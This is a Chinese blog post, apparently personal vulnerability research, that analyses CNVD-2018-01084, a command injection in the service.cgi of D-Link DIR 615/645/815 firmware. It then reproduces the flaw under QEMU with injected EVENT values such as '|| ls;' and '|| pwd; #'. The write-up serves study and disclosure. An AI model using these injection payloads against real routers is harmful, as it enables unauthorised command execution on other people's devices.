CNVD-2018-01084-Dlink远程命令执行漏洞

本文最后更新于:2023年7月4日 下午

CNVD-2018-01084-Dlink远程命令执行漏洞

CNVD-2018-01084是D-Link DIR 615/645/815路由器1.03及之前的固件版本存在远程命令执行漏洞。该漏洞是由于service.cgi中拼接了HTTP POST请求中的数据,造成后台命令拼接,导致可执行任意命令。

漏洞分析

固件分析

由CNVD可知,漏洞点在service.cgi 中,我们直接分析servicecgi_main 即可。

servicecgi_main

首先,获取环境变量REQUEST_METHOD的值,若为post请求,则顺序执行;若为get请求,则跳转到LABEL_10,会直接越过了漏洞点,所以我们需要执行post请求。

image-20230703211741239

接着,调用cgibin_parse_request函数,该函数已经在笔者上一篇文章中分析过了,就不再赘述了。

image-20230703212031069

这里,我们主要看看sub_40A63C这个函数。当URI参数被解析后,调用该函数对off_42c120进行初始化。

image-20230703223620711

我们再看看sub_403b10函数。

image-20230704091221215

这个函数也很简单,判断**application/**类型,若是匹配上了调用sub_203ffc函数。

image-20230704091316062

sub_203ffc函数应该是获取post请求的内容,同时调用sub_402b40对输入的内容进行划分。需要注意的是这里也会对off_42c120进行初始化。

image-20230704091457433

让我们回到主函数里面。接着,会调用sess_ispoweruser 进行用户判断。

image-20230704085131038

这个函数仅仅是对sess_validate 函数的简单封装。

image-20230704085253125

sess_validate函数会打开sesscfgsession%d等大量session文件,直到匹配为止。

image-20230704085804332

image-20230704085737003

这里模拟的固件一般不具备seesion,我们把这个函数判断patch掉即可。

image-20230704090044509

之后会调用sub_40A1C0匹配EVENT、ACTION与SERVICE。

image-20230704090138244

这个函数也比较简单,就是对我们输入内容与EVENT等进行匹配。若匹配上,则返回输入的内容。

image-20230704090257048

最后,执行lxmldbc_system函数,也就是可以命令注入的函数。

image-20230704092222684

该函数就是将我们的输入复制到acStack_40c变量中,然后执行。

image-20230704092350052

这里并未对输入进行过滤,也就是存在任意命令执行漏洞。

至此,分析完毕。

漏洞复现

根据上面分析,可知这里存在两条执行路径。

第一条,利用URI进行任意命令执行

1
2
3
4
5
6
7
8
9
10
11
input="l1s00t"
cmd="|| ls;"

echo $input | qemu-mipsel -L . \
-0 "service.cgi" \
-E REQUEST_METHOD="POST" \
-E REQUEST_URI="l1s00t?EVENT=$cmd" \
-E CONTENT_LENGTH=`echo -n $input | wc -c` \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
./htdocs/cgibin

image-20230704093231095

第二条,通过post请求输入内容进行任意命令执行

1
2
3
4
5
6
7
8
9
10
11
input="EVENT=|| pwd; #"
cmd="|| ls;"

echo $input | qemu-mipsel -L . \
-0 "service.cgi" \
-E REQUEST_METHOD="POST" \
-E REQUEST_URI="l1s00t?EVENT=$cmd" \
-E CONTENT_LENGTH=`echo -n $input | wc -c` \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
./htdocs/cgibin

image-20230704093344171

同时,也可以看到,我们post输入的内容是可以覆盖URI的。与上面的分析也不谋而合。

这里,我们使用调试查看命令执行过程。

image-20230704093726056

image-20230704094032648

image-20230704094118204

至此,漏洞复现完毕。

参考文章:

https://www.cnvd.org.cn/flaw/show/CNVD-2018-01084

https://bbs.kanxue.com/thread-272212.htm#msg_header_h1_0


CNVD-2018-01084-Dlink远程命令执行漏洞
http://example.com/2023/07/03/CNVD-2018-01084-Dlink远程命令执行漏洞/
作者
l1s00t
发布于
2023年7月3日
更新于
2023年7月4日
许可协议